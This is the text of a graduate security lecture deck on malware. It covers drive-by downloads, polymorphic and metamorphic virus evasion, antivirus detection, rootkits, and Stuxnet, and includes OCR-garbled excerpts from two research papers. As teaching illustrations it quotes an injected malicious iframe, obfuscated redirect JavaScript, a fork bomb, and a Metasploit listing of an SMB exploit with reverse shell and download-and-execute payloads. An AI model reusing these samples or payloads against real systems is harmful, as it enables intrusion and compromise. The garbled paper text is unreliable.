MALWARE: VIRUSES

GRAD SEC 0CT 10 2017



TODAY'S PAPERS

The Ghost In The Browser Analysis of Web-based Malware

Niels Provos, Dean McNamee, Panayiotis Mavrommatis, Ke Wang and Nagendra Modadugu Google, Inc. (niels, deanm, panayiotis, kewang, ngm)@google.com

Abstract

As more users are connected to the Internet and conduct their daily activities electronically, computer users have become the target of an underground economy that infects hosts with molecore or scheare for financial gain. Unfortunately, even a single visit to an infected web site enables the attacker to detect entrevabilities in the user's applications and force the download a multitude of malware binaries. Frequently, this malware allows the adversary to pain full control of the compromised systems leading to the ex-filtration of consilive information or installation of utilities that facilitate remote control of the host. We believe that such behavior is simflar to our traditional understanding of botnets. However, the main difference is that web-based molecure injections are pull-based and that the resulting caracterial feedback hop is lower. To characterize the nature of this rising thread, we identify the four prevalent mechanisms used to inject maifcious content on popular web sites: web server security. user contributed content, advertising and third-party widgots. For each of these areas, we present examples of abuse jound on the Internet. Our own is to present the state of malware on the Web and emphasize the importance of this rising threat.

1. INTRODUCTION

Internet services are increasingly becoming an essential part of our everyday life. We rely more and more on the convenience and flexibility of Internet-connected devices to shop, communicate and in general perform tasks that would otherwise require cur physical presence. Although very beneficial, internet transactions can expose user sensitive information. Earlying and medical records, anthorization passwoods and personal communication records can early become known to an adversary who can successfully compromise any of the devices involved in on-line transactions.

Unfortunately, the user's personal computer seems to be the weakert link in these transactions. Contrary to the small set of applications running in the tightly managed and frequantly updated commercial servers, a personal computer mutains a large number of applications that are usually mether managed nor updated. To make things worse, discovering older, vulnerable versions of popular applications is an easy track a single visit to a compromised web site is sufficient for an attacker to detect and exploit a browser vulnerability. Therefore, the goal of the attacker becomes identifying web applications with vulnerabilities that enable him to insert small pieces of HTML in web pages. This HTML code is then used as a vehicle to test large collections of exploits against any user who visits the infected page.

In most cases, a successful exploit results in the automatic installation of a melvere binary, also called drive-igdownload. The installed malware often enables an adversary to gain remote control over the compromised computer system and can be used to steal consitive information such as banking passwords, to send out spam or to install more malipious executables over time. Unlike traditional botnets [4] that use push-based infection to increase their population, web-based malware infection follows a pull-based model and usually provides a locser fundback loop. However, the population of potential victims is much larger as web prodes and NAT-devices pose no barrier to infection [1]. Tracking and infiltrating bottets created by web-based malware is also made more difficult due to the size and complexity of the Web. Just finding the web pages that function as infection. vector requires significant resources.

Web-based malware infection has been enabled to a large degree by the fact that is has beenere easier to setup and deploy web sites. Unfortunately, keeping the required software up to date with patches still remains a task that requires human intervention. The increasing number of applications necessary to operate a modern portal, other than the actual web server and the rate of patch releases, makes keeping a site updated a daunting task and is often neglected.

To address this problem and to protect users from being infected while browsing the web, we have started an effort to identify all web pages on the internet that could potentially be malicious. Google already mayls billions of web pages on the Internet. We apply simple heuristies to the crawled pages repository to determine which pages attempt to exploit out browsers. The heuristics reduce the number of URLs we subject to further processing significantly. The pages classified as potentially malicious are used as input to instrumented browser instances running under virtual machines. Our goal is to observe the malware behavior when visiting malicious URLs and discover if malware binaries are being downloaded as a result of visiting a URL. Web sites that have been identified as malicious, using our verification. procedure, are labeled as potentially harmful when returned as a sourch result. Marking pages with a label allows users to avoid exposure to such sites and results in fewer users being infected. In addition, we keep detailed statistics about detected web pages and keep track of identified malazare binaries for later analysis.

In this paper, we give an overview of the current state of malware on the web. Our evaluation is based on Internet-





Malicious code that is stored on and runs on a victim's system

- How does it get to run?
 - Attacks a user- or network-facing vulnerable service
 - Backdoor: Added by a malicious developer
 - Social engineering: Trick the user into running/ clicking/installing
 - Trojan horse: Offer a good service, add in the bad
 - Drive-by download: Webpage surreptitiously installs
 - Attacker with physical access downloads & runs it



Malicious code that is stored on and runs on a victim's system

- How does it get to run?
 - Attacks a user- or network-facing vulnerable service
 - Backdoor: Added by a malicious developer
 - Social engineering: Trick the user into running/ clicking/installing
 - Trojan horse: Offer a good service, add in the bad
 - Drive-by download: Webpage surreptitiously installs
 - Attacker with physical access downloads & runs it

Potentially from any mode of interaction (automated or not), provided sufficient vulnerability

MALWARE: WHAT CAN IT DO?

Virtually anything, subject only to its permissions

- Brag: "APRIL 1st HA HA HA HA YOU HAVE A VIRUS!"
- Destroy:
 - Delete/mangle files
 - Damage hardware (more later this lecture)
- Crash the machine, e.g., by over-consuming resources
 - Fork bombing or "rabbits": while(1) { fork(); }
- Steal information ("exfiltrate")
- Launch external attacks
 - Spam, click fraud, denial of service attacks
- Ransomware: e.g., by encrypting files
- Rootkits: Hide from user or software-based detection
 - Often by modifying the kernel
 - Man-in-the-middle attacks to sit between UI and reality

MALWARE: WHEN DOES IT RUN?

Some delay based on a trigger

- Time bomb: triggered at/after a certain time
 - On the 1st through the 19th of any month...
- Logic bomb: triggered when a set of conditions hold
 - If I haven't appeared in two consecutive payrolls...
- Can also include a **backdoor** to serve as ransom
 - "I won't let it delete your files if you pay me by Thursday..."

Some attach themselves to other pieces of code

- Viruses: run when the user initiates something
 - Run a program, open an attachment, boot the machine
- Worms: run while another program is running
 - No user intervention required

DRIVE-BY DOWNLOADS

When does it run:



What does it do:

DRIVE-BY DOWNLOADS

When does it run:

Intentional visit to evil.com User-generated content (e.g., message board) Third-party ad (esp. with ad reselling) Third-party widget (e.g., visit counter)



What does it do:

DRIVE-BY DOWNLOADS

When does it run:

Intentional visit to evil.com User-generated content (e.g., message board) Third-party ad (esp. with ad reselling) Third-party widget (e.g., visit counter)



What does it do:

Exfiltration Join a botnet Social engineer

DRIVE-BY DOWNLOADS: EXPLOITS

Vulnerable web servers

Modify webpage template to infect all pages within a given domain

```
<!-- Copyright Information -->
<div align='center' class='copyright'>Powered by
<a href="http://www.invisionboard.com">Invision Power Board</a>(U)
v1.3.1 Final &copy; 2003 &nbsp;
<a href='http://www.invisionpower.com'>IPS, Inc.</a></div>
</div>
</div>
<iframe src='http://wsfgfdgrtyhgfd.net/adv/193/new.php'></iframe>
<iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=193'></iframe>
```

User-supplied content

Very easy to upload Example of obfuscation

```
<SCRIPT language=JavaScript>
function otqzyu(nemz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="('";
awq27="";sftfttft=4;fghdh="'ht";ji87gkol="tp:/";
polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";
jkhuift="e.c";jygyhg="om'";dh4=eval(fghdh+ji87gkol+
polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15="')";
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh8889+vbb25+awq27+dh4+je15);
otqzyu();//
</SCRIPT>
```

location.replace('http://videozfree.com')

DRIVE-BY DOWNLOADS: EXPLOITS

Advertising

Hard to know where it's coming from; the trust model of ads is a mess



Third-party widgets

Examples of exploiting the fact that trust models change over time; what happens when stat.xx expires and is purchased by an attacker?

```
<!-- Begin Stat Basic code -->
<script language="JavaScript"
    src="http://m1.stat.xx/basic.js">
</script><script language="JavaScript">
<!--
    statbasic("ST8BiCCLfUdmAHKtah3InbhtwoWA", 0);
// -->
</script> <noscript>
<a href="http://v1.stat.xx/stats?ST8BidmAHKthtwoWA">
<img src="http://v1.stat.xx/n?id=ST8BidmAHKthtwoWA"
border="0" nosave width="18" height="18"></a></noscript>
<!-- End Stat Basic code -->
```

DRIVE-BY DOWNLOADS: TYPES



Figure 6: This graph shows the number of unique URLs engaging in drive-by-downloads discovered by our system over a sixty day period. It shows the predominant malware categories installed as a result of visiting a malicious web page. We found that Trojans were the most frequent malware category - they were installed by over 300,000 URLs.

DRIVE-BY DOWNLOADS: POPULARITY



Figure 7: The two graphs display statistics on the popularity of third-party exploit URLs. The top graphs shows the number of URLs pointing to the most popular exploits whereas the bottom graph shows how many different hosts point to the same set of exploits. We see a large variance in the number of hosts compared to the number of URLs.

DRIVE-BY DOWNLOADS: POPULARITY

Are these distinct binaries?



Figure 8: The top graph shows the distribution of malware binaries across URLs. The bottom graph shows the distribution across domains. The majority of binaries are available from only a single URL or domain. However, some binaries are replicated across a large number of URLs and domains.

RECALL: ISOLATION IN CHROMIUM



Rendering engine doesn't get user input directly Instead, browser kernel delivers it via BKI

SELF-PROPAGATING MALWARE

- Virus: propagates by arranging to have itself eventually executed
 - At which point it creates a new, additional instance of itself
 - Typically infects by altering *stored* code
 - User intervention required
- Worm: self-propagates by arranging to have itself immediately executed
 - At which point it creates a new, additional instance of itself
 - Typically infects by altering *running* code
 - No user intervention required

The line between these is thin and blurry Some malware uses both styles

MALWARE: TECHNICAL CHALLENGES

- Viruses: Detection
 - Antivirus software wants to detect
 - Virus writers want to avoid detection for as long as possible
 - Evade human response
- Worms: Spreading
 - The goal is to hit as many machines and as quickly as possible
 - Outpace human response

VIRUS DESIGN



- They are **opportunistic**: they will *eventually* be run due to user action
- Two orthogonal aspects define a virus:
 - 1. How does it **propagate**?
 - 2. What else does it do (what is the "payload")?
- General infection strategy:
 - Alter some existing code to include the virus
 - Share it, and expect users to (unwittingly) re-share
- Viruses have been around since at least the 70s

HOW VIRUSES INFECT OTHER PROGRAMS



HOW VIRUSES INFECT OTHER PROGRAMS



Take over the entry point

- Document viruses
 - Implemented within a formatted document
 - Word documents (very rich macros)
 - PDF (Acrobat permits javascript)
 - (Why you shouldn't open random attachments)

• Document viruses

- Implemented within a formatted document
- Word documents (very rich macros)
- PDF (Acrobat permits javascript)
- (Why you shouldn't open random attachments)

Boot sector viruses

- Boot sector: small disk partition at a fixed location
- If the disk is used to **boot**, then the firmware loads the boot sector code into memory and runs it
- What's *supposed* to happen: this code loads the OS
- Similar: AutoRun on music/video disks
- (Why you shouldn't plug random USB drives into your computer)

• Document viruses

- Implemented within a formatted document
- Word documents (very rich macros)
- PDF (Acrobat permits javascript)
- (Why you shouldn't open random attachments)

Boot sector viruses

- Boot sector: small disk partition at a fixed location
- If the disk is used to **boot**, then the firmware loads the boot sector code into memory and runs it
- What's *supposed* to happen: this code loads the OS
- Similar: AutoRun on music/video disks
- (Why you shouldn't plug random USB drives into your computer)
- Memory-resident viruses
 - "Resident code" stays in memory because it is used so often

The key is **evasion**





The key is **evasion**



Mechanisms for evasive **propagation**



The key is **evasion**



Mechanisms for evasive **propagation**



Mechanisms for **detection** and prevention

The key is **evasion**



The key is **evasion**



Want to be able to claim wide coverage for a long time Want to be able to claim the ability to detect *many* viruses

HOW VIRUSES PROPAGATE

- First, the virus looks for an opportunity to run.
 Increase chances by attaching malicious code to something a user is likely to run
 - autorun.exe on storage devices
 - Email attachments
- When a virus runs, it looks for an **opportunity to infect** other systems.
 - User plugs in a USB thumb drive: try to overwrite autorun.exe
 - User is sending an email: alter the attachment
 - Viruses can also proactively create emails ("I Love You")

DETECTING VIRUSES

- Method 1: Signature-based detection
 - Look for bytes corresponding to injected virus code
 - Protect other systems by installing a recognizer for a known virus
 - In practice, requires fast scanning algorithms
- This basic approach has driven the multi-billion dollar antivirus market
- #Recognized signatures is a means of marketing and competition
 - But what does that say about how important they are?



Um.. thanks?

FEATURE

Antivirus vendors go beyond signature-based antivirus

Robert Westervelt, News Director 🔤



This article can also be found in the Premium Editorial Download "Information Security magazine: Successful cloud migrations require careful planning."

🛒 💻 д 🗛 🛅 Share 🛛 🗗 🔁 🔂 🔂

Download it now to read this article plus other related content.

Security experts and executives at security vendors are in agreement that signaturebased antivirus isn't able to keep up with the explosion of malware. For example, in 2009, Symantec says it wrote about 15,000 antivirus signatures a day; that number has increased to 25,000 antivirus signatures every day.

"Signatures have been dying for quite a while," says Mikko H. Hypponen, chief research officer of Finnish-based antivirus vendor, F-Secure. "The sheer number of malware samples we see every day completely overwhelms our ability to keep up with them."

Security vendors have responded by updating their products with additional capabilities, such as file reputation and heuristics-based engines. They're also making upgrades to keep up with the latest technology trends, such as virtualization and cloud computing.

YOU ARE A VIRUS WRITER...

.

YOU ARE A VIRUS WRITER...

• Your goal is for your virus to spread far and wide
- Your goal is for your virus to spread far and wide
- How do you avoid detection by antivirus software?

- Your goal is for your virus to spread far and wide
- How do you avoid detection by antivirus software?
 - 1. Give them a harder signature to find



"Appending"







.

- Your goal is for your virus to spread far and wide
- How do you avoid detection by antivirus software?
 - 1. Give them a harder signature to find

- Your goal is for your virus to spread far and wide
- How do you avoid detection by antivirus software?
 - 1. Give them a harder signature to find
 - 2. Change your code so they can't pin down a signature

- Your goal is for your virus to spread far and wide
- How do you avoid detection by antivirus software?
 - 1. Give them a harder signature to find
 - 2. Change your code so they can't pin down a signature

Mechanize code changes:

Goal: every time you inject your code, it looks different

BUILDING BLOCK: ENCRYPTION



Symmetric key: both keys are the same Asymmetric key: different keys

Important property: the ciphertext is **nondeterministic** i.e., "Encrypt" has a different output each time

but decrypting always returns the plaintext

BUILDING BLOCK: ENCRYPTION



Symmetric key: both keys are the same Asymmetric key: different keys

Important property: the ciphertext is **nondeterministic** i.e., "Encrypt" has a different output each time

but decrypting always returns the plaintext









POLYMORPHIC VIRUSES: PROPAGATION



POLYMORPHIC VIRUSES: PROPAGATION



POLYMORPHIC VIRUSES: PROPAGATION



Encryption will yield a different output upon each invocation

Now you are the antivirus writer: how do you detect?

Now you are the antivirus writer: how do you detect?

- Idea #1: Narrow signature to catch the decrypter
 - Often very small: can result in many false positives
 - Attacker can spread this small code around and jmp
- Idea #2: Execute or statically analyze the suspect code to see if it decrypts.
 - How do you distinguish from common "packers" which do something similar (decompression)?
 - How long do you execute the code??

Now you are the antivirus writer: how do you detect?

- Idea #1: Narrow signature to catch the decrypter
 - Often very small: can result in many false positives
 - Attacker can spread this small code around and jmp
- Idea #2: Execute or statically analyze the suspect code to see if it decrypts.
 - How do you distinguish from common "packers" which do something similar (decompression)?
 - How long do you execute the code??

Now you are the virus writer again: how do you evade?

Now you are the virus writer again: how do you evade?

Now you are the virus writer again: how do you evade?

- Idea #1: Change the decrypter
 - Oligomorphic viruses: one of a fixed set of decrypters
 - True polymorphic viruses: endless number of decrypters
- Idea #2: Change the decrypted code itself

METAMORPHIC CODE

METAMORPHIC CODE

- Every time the virus propagates, generate a semantically different version of the code
 - Higher-level semantics remain the same
 - But the way it does it differs
 - Different machine code instructions
 - Different algorithms to achieve the same thing
 - Different use of registers
 - Different constants....

METAMORPHIC CODE

- Every time the virus propagates, generate a semantically different version of the code
 - Higher-level semantics remain the same
 - But the way it does it differs
 - Different machine code instructions
 - Different algorithms to achieve the same thing
 - Different use of registers
 - Different constants....
- How would you do this?
 - Include a code rewriter with your virus
 - Add a bunch of complex code to throw others off (then just never run it)

Symantec HUNTING FOR METAMORPHIC

<pre>899C8618110000mov [esi+eax*4+00001118],ebx 58 58 BB04000000 mov ebx,0004h 8BD5 mov edx,ebp BF0C000000 mov edi,000Ch 81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi</pre>	5A BF04000000 8BF5 B80C000000 81C288000000 8B1A	pop mov mov mov add mov	edx edi,0004h esi,ebp eax,000Ch edx,0088h ebx,[edx]
58 pop eax BB04000000 mov ebx,0004h 8BD5 mov edx,ebp BF0C000000 mov edi,000Ch 81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi	899C8618110000mov		[esi+eax*4+00001118],ebx
BB04000000 mov ebx,0004h 8BD5 mov edx,ebp BF0C000000 mov edi,000Ch 81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi	58	pop	eax
8BD5 mov edx,ebp BF0C000000 mov edi,000Ch 81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi	BB 0400000	mov	ebx,0004h
BF0C000000 mov edi,000Ch 81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi	8BD5	mov	edx,ebp
<pre>81C088000000 add eax,0088h 8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi</pre>	BF0C00000	mov	edi,000Ch
<pre>8B30 mov esi,[eax] 89B4BA18110000mov [edx+edi*4+00001118],esi</pre>	81C088000000	add	eax,0088h
89B4BA18110000mov [edx+edi*4+00001118],esi	8B 30	mov	esi,[eax]
	89B4BA18110000mov		[edx+edi*4+00001118],esi

Figure 4: Win95/Regswar using different registers in new generations



ZPerm can directly reorder the instructions in its own code

Figure 7 Zperm.A inserts JMP instruction into its code

a. An early generation:

C7060F000055 C746048BEC515	mov 1 mov	dword ptr [esi],5500000Fh dword ptr [esi+0004],5151EC8Bh				
b. And one of its later generations:						
BF0F000055 893E 5F 52 B640 BA8BEC5151 53 8BDA 895E04	mov mov pop push mov push mov push	edi,5500000Fh [esi],edi edi edx dh,40 edx,5151EC8Bh ebx ebx,edx [esi+0004],ebx				
c. And yet another generation with recalculated ("encrypted") "con- stant" data.						
BB0F000055 891E 5B 51 B9CB00C05F 81C1C0EB91F1 894E04	mov mov pop push mov add mov	<pre>ebx,5500000Fh [esi],ebx ebx ebx ecx ecx,5FC000CBh ecx,F191EBC0h ; ecx=5151EC8Bh [esi+0004],ecx</pre>				

Figure 6: Example of code metamorphosis o Win32/Evol

Polymorphic



Figure 8: A partial or complete snapshot of polymorphic virus during execution cycle

Metamorphic



When can AV software successfully scan?

Figure 10: T-1000 of Terminator 2

DETECTING METAMORPHIC VIRUSES?

DETECTING METAMORPHIC VIRUSES

- Scanning isn't enough: need to analyze execution behavior
- Two broad stages in practice (both take place in a safe environment, like gdb or a virtual machine)
 - AV company analyzes new virus to find behavioral signature
 - 2. AV system at the end host analyzes suspect code to see if it matches the signature

NAZCA

Nazca: Detecting Malware Distribution in Large-Scale Networks

Luca Invernizzi	Stanislav Miskovic	Ruben Torres	Sobyusachi Saha
UC Santa Barbara	Narus, Inc.	Narus, Inc.	Narus, Inc.
invernizzi@cs.ucsb.edu	smiskovic@narus.com	rtorres@narus.com	ssaha@narus.com
Sung-Ju Lee	Marco Mellia	Christopher Knuegel	Giovanni Vigna
Nans, Inc.	Poltecuico di Torino	UC Santa Barbara	UC Santa Barbara
sjiee@nans.com	mella@polto.it	chris@cs.ucsb.edu	vigna@cs.ucsb.edu

Abstract—Malware remains one of the most significant security threats on the Internet. Antivirus solutions and blacklists, the main weapons of defense against these attacks, have only been (partially) successful. One reason is that cyber-criminals take active steps to bypass defenses, for example, by distributing constantly changing (obfuscated) variants of their malware programs, and by quickly churning through domains and IP addresses that are used for distributing exploit code and botnet commands.

We analyze one of the core tasks that malware authors have to achieve to be successful: They must distribute and install malware programs onto as many victim machines as possible. A main vectar to accomplish this is through drive-by download attacks where victims are lared onto web pages that hunch exploits against the users' web browsers and their components. Once an exploit is successful, the injected shellcode automatically downloads and launches the malware program. While a significant amount of provious work has focused on detecting the drive-by exploit step and the subsequent network traffic produced by malware programs, little attention has been paid to the intermediate step where the malware binary is downloaded.

In this paper, we study how clients in real-world networks download and install malware, and present Nazea, a system that detects infections in large scale networks. Nazea does not operate on individual connections, nor locks at properties of the downloaded programs or the reputation of the servers hosting them. Instead, it looks at the telltale signs of the malicious network infrastructures that archestrate these realware installation that become apparent when looking at the collective traffic produced and becomes apparent when looking at the collective traffic produced by many users in a large network. Being content agnestic, Nazea does not suffer from coverage gaps in reputation databases (blacklists), and is not susceptible to code oblacetion. We have run Nazea on seven days of traffic from a large Internet Service Provider, where it has detected previously-unseen malware with very low false positive rates.

Permission to freely reproduce all or part of this paper for noncommercial purposes is granted provided that copies here this review and the full clusters on the first page. Reproduction for commercial purposes is strictly prohibited without the prior written constant of the Internet Society, the first-samed anthore (for reproduction of an envire paper only), and the author's employer if the paper was propased within the scope of employment. NUSS '14, 23-26 February 2014, Sam Diego, CA, USA Copyright 2014 Internet Society, ISBN 1-3615621-35-5 http://dudoi.org/doi.info.to.be.provided.later INTRODUCTION Malware is one of the most severe security threats on the Internet. Once infected with malicious code, victim machines become platforms to send email span messages, launch denialof-service attacks, and steal sensitive user data.

A key challenge for attackers is to install their malware programs on as many victim machines as possible. One approach is to raly on social engineering: for example, strackers might send email messages that entice users to install attached melware programs. While this technique works, it requires the cooperation of victim users, and hence is often ineffective. An alternative, and more effective, approach is to lure users onto web pages that launch exploits against vulnerabilities in web browsers (or their components, such as the PDF reader or the Flash player). In this case, no user interactions are required, and the malware is surreptitiously installed and hunched on the victim's machine. The effectiveness and stealthiness of drive-by downloads have made them the preferred vehicle for attackers to spread their malware, and they are the focus of the work presented in this paper.

The infection process in a drive-by download attack can be divided into three phases. During the first phase (the exploitation phase), the goal of the attacker is to run a small snippet of code (thelicode) on the victim's host. To this end, the anacker first prepares a website with drive-by download exploit code. When a victim visits a malicious page, the browser fetches and executes the drive-by code. When the exploit is successful, it forces the browser to execute the injected shellcode. In the subsequent second phase (the installation phase), the shellcode downloads the actual malware binary and launches it. Once the malware program is running, during the third phase (the control phase), it unfolds its malicicus activity. Typically, the melware connects back to a remote command and control (C&C) server. This connection is used by attackers to issue commands, to "drop" new executables onto the infected host to enhance the malware's functionality, and receive stolen data.

Most current techniques protecting users against malware focus on the first and the third phases. A large body of work targets the initial exploitation phase, trying to detect pages that contain drive-by download exploits and prevent broweers from visiting a malicious page in the first place. For example, honeyelients crawl the web to quickly find pages


DETECTING METAMORPHIC VIRUSES

- Countermeasures
 - Have your virus change slowly (hard to create a proper behavioral signature)
 - Detect if you are in a sandbox (or other safe execution environment, e.g., gdb) and act differently
- Counter-countermeasures
 - **Detect detection** and skip those parts
- Counter-counter-counter.... Arms race

DETECTING METAMORPHIC VIRUSES

- Countermeasures
 - Have your virus change slowly (hard to create a proper behavioral signature)
 - Detect if you are in a sandbox (or other safe execution environment, e.g., gdb) and act differently
- Counter-countermeasures
 - **Detect detection** and skip those parts
- Counter-counter-counter.... Arms race

Attackers have the upper hand: AV systems hand out signatures, thus serving as an *oracle*





Attackers have an informational advantage





Many different vendors







Attackers have an informational advantage



Iteratively obfuscate the code (encrypt + jmp + ...)



Many different vendors











PUTTING IT ALL TOGETHER SOUNDS HARD...

- Creating a virus can be really difficult
 - Historically error prone
- But **using** them is easy: any scriptkiddy can use metasploit
 - Good news: so can any white hat pen tester

PUTTING IT ALL TOGETHER SOUNDS HARD...

- Creating a virus can be really difficult
 - Historically error prone
- But **using** them is easy: any scriptkiddy can use metasploit
 - Good news: so can any white hat pen tester

v v v root@bt: /opt/framework3/msf3
 File Edit View Terminal Help

root@bt:/opt/framework3/msf3# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.100 P
[*] Please wait while we load the module tree...

Compatible payloads

Name

generic/debug trap generic/shell bind tcp generic/shell reverse tcp generic/tight loop windows/adduser windows/dllinject/bind ipv6 tcp windows/dllinject/bind nonx tcp windows/dllinject/bind tcp windows/dllinject/reverse ipv6 tcp windows/dllinject/reverse nonx tcp windows/dllinject/reverse ord tcp windows/dllinject/reverse tcp windows/dllinject/reverse tcp allports nject a Dll via a reflective loader windows/dllinject/reverse tcp dns windows/download exec

Description

Generate a debug trap in the target process Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Generate a tight loop in the target process Create a new user and add them to local administration group Listen for a connection over IPv6, Inject a Dll via a reflective loader Listen for a connection (No NX), Inject a Dll via a reflective loader Listen for a connection, Inject a Dll via a reflective loader Connect back to the attacker over IPv6, Inject a Dll via a reflective loader Connect back to the attacker over IPv6, Inject a Dll via a reflective loader Connect back to the attacker (No NX), Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader

Connect back to the attacker, Inject a Dll via a reflective loader Download an EXE from an HTTP URL and execute it

HOW MUCH MALWARE IS THERE?

- Polymorphic and metamorphic viruses can make it easy to *miscount* viruses
- Take numbers with a grain of salt
 - Large numbers are in the AV vendors' best interest



https://www.av-test.org/en/statistics/malware/

HOW DO WE CLEAN UP AN INFECTION?

An often overlooked question

- Depends what the virus did, but..
- May require restoring / repairing files
 - A service that antivirus companies sell
- What if the virus ran as root?
 - May need to rebuild the entire system
- So what, just recompile it?
 - What if the malware left a backdoor in your compiler?
 - Compile the malware back into the compiler
 - May need to use original media and data backups

VIRUS CASE STUDIES

BRAIN

First IBM PC virus (1987)

- Propagation method
 - Copies itself into the boot sector
 - Tells the OS that all of the boot sector is "faulty" (so that it won't list contents to the user)
 - Thus also one of the first examples of a **stealth** virus
 - Intercepts disk read requests for 5.25" floppy drives
 - Sees if the 5th and 6th bytes of the boot sector are 0x1234
 - If so, then it's already infected, otherwise, infect it
- Payload:
 - Nothing really; goal was just to spread (to show off?)
 - However, it served as the template for future viruses



Downloaded from <u>wikipedia.org</u>

ROOTKITS

Malicious code that hides from discovery

- Ways to hide:
 - By intercepting system calls, patching the kernel, etc.
 - Often effectively done by a man in the middle attack
- Rootkit revealer: analyzes the disk offline and through the online system calls, and compares
- Mark Russinovich ran a rootkit revealer and found a rootkit in 2005...

Detected 2005

Detected 2005

• Goal: keep users from copying copyrighted material

Detected 2005

- Goal: keep users from copying copyrighted material
- How it worked:
 - Loaded thanks to autorun.exe on the CD
 - Intercepted read requests for its music files
 - If anyone but Sony's music player is accessing them, then garble the data
 - Hid itself from the user (to avoid deletion)

Detected 2005

- Goal: keep users from copying copyrighted material
- How it worked:
 - Loaded thanks to autorun.exe on the CD
 - Intercepted read requests for its music files
 - If anyone but Sony's music player is accessing them, then garble the data
 - Hid itself from the user (to avoid deletion)
- How it messed up
 - Morally: violated trust
 - Technically: Hid all files that started with "\$sys\$"
 - Seriously?: The uninstaller did not check the integrity of the code it downloaded, and would not delete it afterwords.

STUXNET

June 2010

- Virus in that it initially spread by infected USB stick
 - Once inside a network, it acted as a worm, spreading quickly
- Exploited **four** zero-day exploits
 - Zero-day: Known to only the attacker until the attack
 - Typically, one zero-day is enough to profit
 - Four was unprecedented
 - Immense cost and sophistication on behalf of the attacker
- Rootkit: installed *signed* device drivers
 - Thereby avoiding user alert when installing
 - Signed with certificates stolen from two Taiwanese CAs

.

- Do nothing

-

-

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges
 - .. for producing enriched uranium for nuclear weapons

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges
 - .. for producing enriched uranium for nuclear weapons
- In which case, slowly increase the freq to 1410Hz

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges
 - .. for producing enriched uranium for nuclear weapons
- In which case, slowly increase the freq to 1410Hz
 - You know, enough to break the centrifuge
- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges
 - .. for producing enriched uranium for nuclear weapons
- In which case, slowly increase the freq to 1410Hz
 - You know, enough to break the centrifuge
 - .. all the while sending "looks good to me" readings to the user

- Do nothing
- Unless attached to particular models of frequency converter drives that operate at 807-1210Hz
 - You know, like those in Iran and Finland
 - .. those ones that are used to operate centrifuges
 - .. for producing enriched uranium for nuclear weapons
- In which case, slowly increase the freq to 1410Hz
 - You know, enough to break the centrifuge
 - .. all the while sending "looks good to me" readings to the user
 - .. then drop back to normal range

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

- Targets industrial control systems by overwriting programmable logic boards
- Man-in-the-middle between Windows and Siemens control systems; looked like it was working properly to the operator



- In reality, it sped up and slowed down the motors
- Result: Destroy (or at least decrease the productivity of) nuclear centrifuges

STUXNET FALLOUT

- Iran denied they had been hit by Stuxnet
- Then claimed they were, but had contained it
- Understood now that it took out 1k of Iran's 5k centrifuges
- Security experts believe the U.S. did it (possibly along with Israel) due to its sophistication and cost
- Legitimized cyber warfare

VIRUSES: SUMMARY

- Technological arms race between those who wish to detect and those who wish to evade detection
- Started off innocuously, capable by only a few very clever people
- But viruses have become commoditized; any scriptkiddy can launch one (creation remains hard)
- No longer purely of academic interest
 - Economic pursuits (zero-day markets)
 - Cyber warfare

OTHER WORK

